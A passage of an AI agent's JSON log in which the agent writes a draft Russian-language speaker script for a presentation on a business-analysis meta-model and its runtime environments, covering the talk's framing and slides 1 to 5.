632,\n[2026-09-29T07:53:48.040Z] [INFO]       \"cache_read_input_tokens\": 107118,\n[2026-09-29T07:53:48.040Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:53:48.040Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:53:48.040Z] [INFO]         \"ephemeral_1h_input_tokens\": 632\n[2026-09-29T07:53:48.040Z] [INFO]       },\n[2026-09-29T07:53:48.040Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T07:53:48.040Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:53:48.040Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:53:48.040Z] [INFO]     },\n[2026-09-29T07:53:48.040Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:53:48.040Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:53:48.040Z] [INFO]     \"context_management\": null\n[2026-09-29T07:53:48.040Z] [INFO]   },\n[2026-09-29T07:53:48.040Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:53:48.040Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:53:48.040Z] [INFO]   \"uuid\": \"45cf6067-cd10-4bef-8804-dca8a135445d\",\n[2026-09-29T07:53:48.040Z] [INFO]   \"timestamp\": \"2026-09-29T07:53:47.993Z\",\n[2026-09-29T07:53:48.040Z] [INFO]   \"request_id\": \"req_011CfXNGHKsPJjFoWDY7NsVp\",\n[2026-09-29T07:53:48.040Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T07:53:48.040Z] [INFO]     \"toolu_01GbDhvGR6SDE8EyvtinseYU\": {\n[2026-09-29T07:53:48.040Z] [INFO]       \"file_path\": \"/tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md\",\n[2026-09-29T07:53:48.040Z] [INFO]       \"content\": \"---\\nstatus: draft\\nversion: 0.1\\nupdated: 2026-09-29\\ntemperature: 0.3\\ntype: presentation\\nscope: mango-only\\nsource: \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/646\\\"\\nbased_on: \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md\\\"\\nrelated_artifacts:\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md\\\"\\n  - \\\"https://github.com/G-Ivan-A/mango_ba_prompts\\\"\\nrelated_issues:\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/646\\\"\\n---\\n\\n# \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0431\u0438\u0437\u043d\u0435\u0441-\u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0438 \u0441\u0440\u0435\u0434\u044b \u0435\u0451 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f: \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0439 \u0434\u043b\u044f \u0434\u0438\u043a\u0442\u043e\u0440\u0430\\n\\n\u0421\u0446\u0435\u043d\u0430\u0440\u0438\u0439 \u043a\\n[\u0441\u043b\u0430\u0439\u0434\u0430\u043c](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md);\\n\u043d\u043e\u043c\u0435\u0440\u0430 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u044e\u0442 \u0441 \u043d\u043e\u043c\u0435\u0440\u0430\u043c\u0438 \u0441\u043b\u0430\u0439\u0434\u043e\u0432. \u0422\u0435\u043a\u0441\u0442 \u0442\u0435\u0437\u0438\u0441\u043d\u044b\u0439: \u0435\u0433\u043e\\n\u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442 \u0441\u0432\u043e\u0438\u043c\u0438 \u0441\u043b\u043e\u0432\u0430\u043c\u0438, \u0430 \u043d\u0435 \u0447\u0438\u0442\u0430\u044e\u0442.\\n\\n## \u0420\u0430\u043c\u043a\u0430 \u0432\u044b\u0441\u0442\u0443\u043f\u043b\u0435\u043d\u0438\u044f\\n\\n- **\u0410\u0443\u0434\u0438\u0442\u043e\u0440\u0438\u044f:** \u0420\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c \u043e\u0442\u0434\u0435\u043b\u0430 AI-\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 Mango. \u0415\u043c\u0443 \u043d\u0435 \u043d\u0443\u0436\u043d\u043e\\n  \u043e\u0431\u044a\u044f\u0441\u043d\u044f\u0442\u044c, \u0447\u0442\u043e \u0442\u0430\u043a\u043e\u0435 LLM, \u0430\u0433\u0435\u043d\u0442 \u0438\u043b\u0438 RAG. \u0415\u043c\u0443 \u043d\u0443\u0436\u043d\u043e \u043f\u043e\u043d\u044f\u0442\u044c, \u0447\u0435\u043c \u043f\u043e\u0434\u0445\u043e\u0434\\n  \u043e\u0442\u043b\u0438\u0447\u0430\u0435\u0442\u0441\u044f \u043e\u0442 \u00ab\u0435\u0449\u0451 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430\u00bb \u0438 \u0447\u0442\u043e \u0438\u043c\u0435\u043d\u043d\u043e \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c.\\n- **\u0425\u0440\u043e\u043d\u043e\u043c\u0435\u0442\u0440\u0430\u0436:** \u043e\u043a\u043e\u043b\u043e 20 \u043c\u0438\u043d\u0443\u0442 \u043d\u0430 10 \u0441\u043b\u0430\u0439\u0434\u043e\u0432 \u0438 10\u201315 \u043c\u0438\u043d\u0443\u0442 \u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441\u044b.\\n  \u041e\u0440\u0438\u0435\u043d\u0442\u0438\u0440 \u043f\u043e \u0441\u043b\u0430\u0439\u0434\u0430\u043c \u2014 \u0432 \u043a\u0430\u0436\u0434\u043e\u043c \u0440\u0430\u0437\u0434\u0435\u043b\u0435.\\n- **\u041e\u0434\u043d\u0430 \u043c\u044b\u0441\u043b\u044c, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0434\u043e\u043b\u0436\u0435\u043d \u0443\u043d\u0435\u0441\u0442\u0438 \u0441\u043b\u0443\u0448\u0430\u0442\u0435\u043b\u044c:** \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u043e \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439\\n  \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u0435\u0442 \u043d\u0435 \u043c\u043e\u0434\u0435\u043b\u044c, \u0430 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u043d\u0430 \u0432\u044b\u0445\u043e\u0434\u0435 \u043a\u0430\u0436\u0434\u043e\u0439 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u043e\u0439 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438\\n  \u0438 \u043a\u043e\u0434, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u043b\u0430\u0434\u0435\u0435\u0442 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430\u043c\u0438.\\n- **\u0422\u043e\u043d:** \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u043d\u044b\u0439. \u041a\u0430\u0436\u0434\u043e\u0435 \u0447\u0438\u0441\u043b\u043e \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0432\u043c\u0435\u0441\u0442\u0435 \u0441 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c. \u0422\u0430\u043c, \u0433\u0434\u0435\\n  \u0435\u0441\u0442\u044c \u043f\u0440\u043e\u0431\u0435\u043b, \u043e \u043d\u0451\u043c \u0433\u043e\u0432\u043e\u0440\u0438\u0442\u0441\u044f \u043f\u0435\u0440\u0432\u044b\u043c: \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c \u043d\u0430\u0439\u0434\u0451\u0442 \u0435\u0433\u043e\\n  \u0441\u0430\u043c, \u0438 \u0442\u043e\u0433\u0434\u0430 \u043f\u043e\u0441\u0442\u0440\u0430\u0434\u0430\u0435\u0442 \u0434\u043e\u0432\u0435\u0440\u0438\u0435 \u043a \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u043c \u0447\u0438\u0441\u043b\u0430\u043c.\\n\\n### \u0427\u0435\u0433\u043e \u043d\u0435 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0442\u044c\\n\\n- \u0427\u0442\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d end-to-end. \u0414\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u043e\u0442\u0440\u0435\u0437\u043e\u043a \u2014\\n  \u043e\u0442 \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u0434\u043e Release. \u0428\u0430\u0433\u0438 \u043c\u043e\u0434\u0435\u043b\u0438 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\u043d\u044b.\\n- \u0427\u0442\u043e \u043c\u0435\u0442\u0440\u0438\u043a\u0438 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 `mango_ba_prompts` \u2014 \u0431\u0435\u043d\u0447\u043c\u0430\u0440\u043a. \u041e\u043d\u0438\\n  \u0441\u0430\u043c\u043e\u0434\u0435\u043a\u043b\u0430\u0440\u0438\u0440\u0443\u0435\u043c\u044b\u0435 \u0438 \u0432 \u0440\u0430\u0437\u043d\u044b\u0445 \u0444\u043e\u0440\u043c\u0430\u0442\u0430\u0445. \u0420\u0430\u0437\u0431\u043e\u0440 \u043e\u043f\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u043d\u0430 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u044b\u0435\\n  \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432, \u0430 \u043d\u0435 \u043d\u0430 \u0441\u0430\u043c\u043e\u043e\u0446\u0435\u043d\u043a\u0443.\\n- \u0427\u0442\u043e \u0421\u0440\u0435\u0434\u0430 4 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442. \u042d\u0442\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f \u0441 \u043f\u043b\u0430\u043d\u043e\u043c, \u0430 \u043d\u0435 \u0440\u0430\u0437\u0432\u0451\u0440\u043d\u0443\u0442\u0430\u044f\\n  \u0441\u0438\u0441\u0442\u0435\u043c\u0430.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 1. \u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u044c \u043a\u0430\u043a \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u043d\u044b\u0439 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 1 \u043c\u0438\u043d\u0443\u0442\u0430. **\u0426\u0435\u043b\u044c:** \u043d\u0430\u0437\u0432\u0430\u0442\u044c \u0442\u0435\u0437\u0438\u0441 \u0438 \u0434\u0430\u0442\u044c \u043f\u043e\u043d\u044f\u0442\u044c, \u0447\u0442\u043e \u043e\u043d \u043e\u043f\u0438\u0440\u0430\u0435\u0442\u0441\u044f\\n\u043d\u0430 \u0438\u0441\u0442\u043e\u0440\u0438\u044e, \u0430 \u043d\u0435 \u043d\u0430 \u0442\u0435\u043e\u0440\u0438\u044e.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u041c\u044b \u043f\u0440\u0438\u0448\u043b\u0438 \u043d\u0435 \u0441 \u0438\u0434\u0435\u0435\u0439, \u0430 \u0441 \u043f\u043e\u043b\u0443\u0433\u043e\u0434\u043e\u043c \u0440\u0430\u0431\u043e\u0442\u044b: \u0441 \u0430\u043f\u0440\u0435\u043b\u044f \u043f\u043e \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044c 2026 \u0433\u043e\u0434\u0430\\n  69 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447 \u0431\u0438\u0437\u043d\u0435\u0441-\u0430\u043d\u0430\u043b\u0438\u0437\u0430 Mango \u0447\u0435\u0440\u0435\u0437 \u0418\u0418.\\n- \u0412\u0441\u0451 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043e \u0432 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u043c \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438\\n  [`mango_ba_prompts`](https://github.com/G-Ivan-A/mango_ba_prompts): \u0432\u0445\u043e\u0434\u044b,\\n  \u0432\u044b\u0445\u043e\u0434\u044b, \u043e\u0431\u0440\u0430\u0442\u043d\u0430\u044f \u0441\u0432\u044f\u0437\u044c \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430, \u0436\u0443\u0440\u043d\u0430\u043b\u044b. 583 \u043a\u043e\u043c\u043c\u0438\u0442\u0430.\\n- \u0418\u0437 \u044d\u0442\u043e\u0439 \u0438\u0441\u0442\u043e\u0440\u0438\u0438 \u0432\u044b\u0440\u043e\u0441\u043b\u0430 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u2014 \u0444\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a\\n  \u0443\u0441\u0442\u0440\u043e\u0435\u043d\u0430 \u0440\u0430\u0431\u043e\u0442\u0430 \u0411\u0410 \u0438 \u0433\u0434\u0435 \u0435\u0451 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u043c\u0430\u0448\u0438\u043d\u043e\u0439.\\n- \u0413\u043b\u0430\u0432\u043d\u043e\u0435, \u0447\u0442\u043e \u043c\u044b \u043f\u043e\u043d\u044f\u043b\u0438: \u043c\u044b \u043d\u0435 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u0443\u0435\u043c \u043c\u044b\u0448\u043b\u0435\u043d\u0438\u0435 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430. \u041c\u044b \u0434\u0435\u043b\u0430\u0435\u043c\\n  \u0435\u0433\u043e \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u044b\u043c.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u041d\u0430\u0447\u043d\u0443 \u0441 \u0442\u043e\u0433\u043e, \u043f\u043e\u0447\u0435\u043c\u0443 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u043e\u0441\u0442\u044c \u0437\u0434\u0435\u0441\u044c \u2014 \u043d\u0435 \u0430\u043a\u0430\u0434\u0435\u043c\u0438\u0447\u0435\u0441\u043a\u0438\u0439\\n\u0432\u043e\u043f\u0440\u043e\u0441\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 2. \u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u2014 \u044d\u0442\u043e \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 1,5 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0446\u0435\u043d\u0443 \u043e\u0448\u0438\u0431\u043a\u0438, \u0447\u0442\u043e\u0431\u044b \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0430\u044f\\n\u0441\u0442\u0440\u043e\u0433\u043e\u0441\u0442\u044c \u043d\u0435 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u043b\u0430 \u0438\u0437\u0431\u044b\u0442\u043e\u0447\u043d\u043e\u0439.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u041c\u044b \u0433\u043e\u0432\u043e\u0440\u0438\u043c \u043e \u043a\u043e\u043c\u0430\u043d\u0434\u0430\u0445 \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432. \u0422\u0430\u043c \u0422\u0417 \u2014 \u043d\u0435 \u0440\u0430\u0431\u043e\u0447\u0430\u044f \u0437\u0430\u043c\u0435\u0442\u043a\u0430, \u0430\\n  \u043e\u0441\u043d\u043e\u0432\u0430 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0438 \u0447\u0430\u0441\u0442\u044c \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u0430.\\n- \u041f\u0440\u043e\u0434\u0443\u043a\u0442 \u0448\u0438\u0440\u043e\u043a\u0438\u0439: \u0432 \u043d\u0430\u0448\u0435\u0439\\n  [\u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/product-taxonomy/mango-products.yaml)\\n  42 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0432 8 \u0434\u043e\u043c\u0435\u043d\u0430\u0445. \u0423 \u043a\u0430\u0436\u0434\u043e\u0439 \u0441\u0432\u043e\u0439 \u0441\u043b\u043e\u0432\u0430\u0440\u044c \u0438 \u0441\u0432\u043e\u0438\\n  \u043b\u043e\u0432\u0443\u0448\u043a\u0438: \u043e\u0447\u0435\u0440\u0435\u0434\u044c \u0438 \u0433\u0440\u0443\u043f\u043f\u0430, SLA \u0438 AHT, IVR \u0438 \u0430\u0432\u0442\u043e\u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0442\u043e\u0440.\\n- \u041e\u0434\u043d\u043e \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 \u043c\u0438\u043d\u0438\u043c\u0443\u043c \u0442\u0440\u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438. \u041d\u0430 \u043a\u0430\u0436\u0434\u043e\u0439 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u0447\u0430\u0441\u0442\u044c\\n  \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0430, \u0438 \u043f\u043e\u0442\u043e\u043c \u044d\u0442\u043e \u0432\u0441\u043f\u043b\u044b\u0432\u0430\u0435\u0442 \u0441\u043f\u043e\u0440\u043e\u043c \u043e \u043f\u0440\u0438\u0451\u043c\u043a\u0435.\\n\\n**\u041f\u043e\u0447\u0435\u043c\u0443 \u044d\u0442\u043e \u0432\u0430\u0436\u043d\u043e \u0434\u043b\u044f AI-\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438:** \u043a\u043e\u0433\u0434\u0430 \u043e\u0448\u0438\u0431\u043a\u0430 \u0441\u0442\u043e\u0438\u0442 \u0434\u043e\u0440\u043e\u0433\u043e,\\n\u00ab\u0432 \u0441\u0440\u0435\u0434\u043d\u0435\u043c \u0445\u043e\u0440\u043e\u0448\u0438\u0439\u00bb \u0442\u0435\u043a\u0441\u0442 \u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0435 \u0433\u043e\u0434\u0438\u0442\u0441\u044f. \u041d\u0443\u0436\u043d\u0430 \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u044f \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435\\n\u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u041f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c, \u0447\u0442\u043e \u043d\u0430 \u0441\u0430\u043c\u043e\u043c \u0434\u0435\u043b\u0435 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u043b\u043e, \u043a\u043e\u0433\u0434\u0430 \u043c\u044b \u043e\u0442\u0434\u0430\u0432\u0430\u043b\u0438\\n\u044d\u0442\u0443 \u0440\u0430\u0431\u043e\u0442\u0443 \u0418\u0418\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 3. \u0421\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043d\u0430 \u043a\u0430\u0436\u0434\u043e\u043c \u0440\u0443\u0447\u043d\u043e\u043c \u0448\u0430\u0433\u0435\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 2 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u044c \u0431\u043e\u043b\u044c \u0447\u0438\u0441\u043b\u0430\u043c\u0438 \u0438\u0437 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e \u043a\u043e\u0440\u043f\u0443\u0441\u0430,\\n\u0430 \u043d\u0435 \u0438\u0437 \u043e\u0442\u0440\u0430\u0441\u043b\u0435\u0432\u044b\u0445 \u043e\u0442\u0447\u0451\u0442\u043e\u0432.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u041c\u044b \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u043b\u0438\\n  [\u0432\u0441\u0435 67 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\u0416\u0430\u043a\u043a\u0430\u0440\u0443](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-meta-model-inputs-facts.md).\\n  \u0410 \u0438\u0437 12 \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0443\u0436\u043d\u044b \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438, \u2014 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0432\u0445\u043e\u0434,\\n  \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442, \u0433\u0435\u0439\u0442 \u2014 10\\n  [\u043d\u0435 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u044e\u0442\u0441\u044f \u043d\u0438 \u0432 \u043e\u0434\u043d\u043e\u043c](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-09-legacy-normative-influence-facts.md)\\n  \u0438\u0437 24 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432.\\n- \u0412\u044b\u0432\u043e\u0434 \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0438: \u0447\u0435\u0442\u044b\u0440\u0435 \u043a\u043b\u0430\u0441\u0441\u0430 \u043e\u0442\u043a\u0430\u0437\u043e\u0432 \u2014 \u043f\u0440\u0438\u0432\u044f\u0437\u043a\u0430 \u043a \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430\u043c, \u0433\u0440\u0430\u043d\u0438\u0446\u044b\\n  \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f, \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u043c\u0435\u0436\u0434\u0443 \u0438\u0442\u0435\u0440\u0430\u0446\u0438\u044f\u043c\u0438, \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u2014 \u043f\u0440\u043e\u043c\u043f\u0442-\u043f\u0440\u0430\u0432\u043a\u0430\u043c\u0438 \u043d\u0435\\n  \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u044e\u0442\u0441\u044f.\\n\\n**\u041f\u043e\u0447\u0435\u043c\u0443 \u0442\u0430\u043a:** \u043f\u0440\u043e\u043c\u043f\u0442 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u0444\u043e\u0440\u043c\u043e\u0439 \u0442\u0435\u043a\u0441\u0442\u0430. \u041e\u0442\u043a\u0430\u0437\u044b \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u044e\u0442 \u0440\u0430\u043d\u044c\u0448\u0435\\n\u0442\u0435\u043a\u0441\u0442\u0430: \u043d\u0430 \u0432\u044b\u0431\u043e\u0440\u0435 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430, \u0433\u0440\u0430\u043d\u0438\u0446\u044b \u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430. \u041f\u043e\u044d\u0442\u043e\u043c\u0443\\n[ADR-014](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-014-legacy-evidence-not-baseline.md)\\n\u0437\u0430\u043f\u0438\u0441\u0430\u043b \u043f\u0440\u0430\u0432\u0438\u043b\u043e: \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u0435 \u2014 \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e, \u0430 \u043d\u0435 \u043d\u043e\u0440\u043c\u0430. \u0421\u0442\u0430\u0440\u044b\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u044b \u043c\u044b \u043d\u0435\\n\u043f\u0435\u0440\u0435\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u043c, \u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c \u043a\u0430\u043a \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u0443\u044e \u0431\u0430\u0437\u0443.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u0415\u0441\u043b\u0438 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0434\u043e \u0442\u0435\u043a\u0441\u0442\u0430 \u2014 \u0437\u043d\u0430\u0447\u0438\u0442, \u043d\u0443\u0436\u043d\u043e \u043e\u043f\u0438\u0441\u0430\u0442\u044c, \u0447\u0442\u043e\\n\u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0434\u043e \u0442\u0435\u043a\u0441\u0442\u0430. \u042d\u0442\u043e \u0438 \u0435\u0441\u0442\u044c \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 5. \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0440\u0430\u0441\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u0443 \u0434\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u043e\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 2 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u0434\u0430\u0442\u044c \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443, \u043d\u0435 \u0443\u0442\u043e\u043f\u0438\u0432 \u0432 \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u0445. \u0418\u0437 11\\n\u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0435\u0439 \u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0430 \u0441\u043b\u0430\u0439\u0434\u0435 \u2014 \u0447\u0435\u0442\u044b\u0440\u0435 \u0443\u0440\u043e\u0432\u043d\u044f \u0438 \u0447\u0435\u0442\u044b\u0440\u0435 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u0420\u0430\u0431\u043e\u0442\u0430 \u0440\u0430\u0441\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0441\u0432\u0435\u0440\u0445\u0443 \u0432\u043d\u0438\u0437: 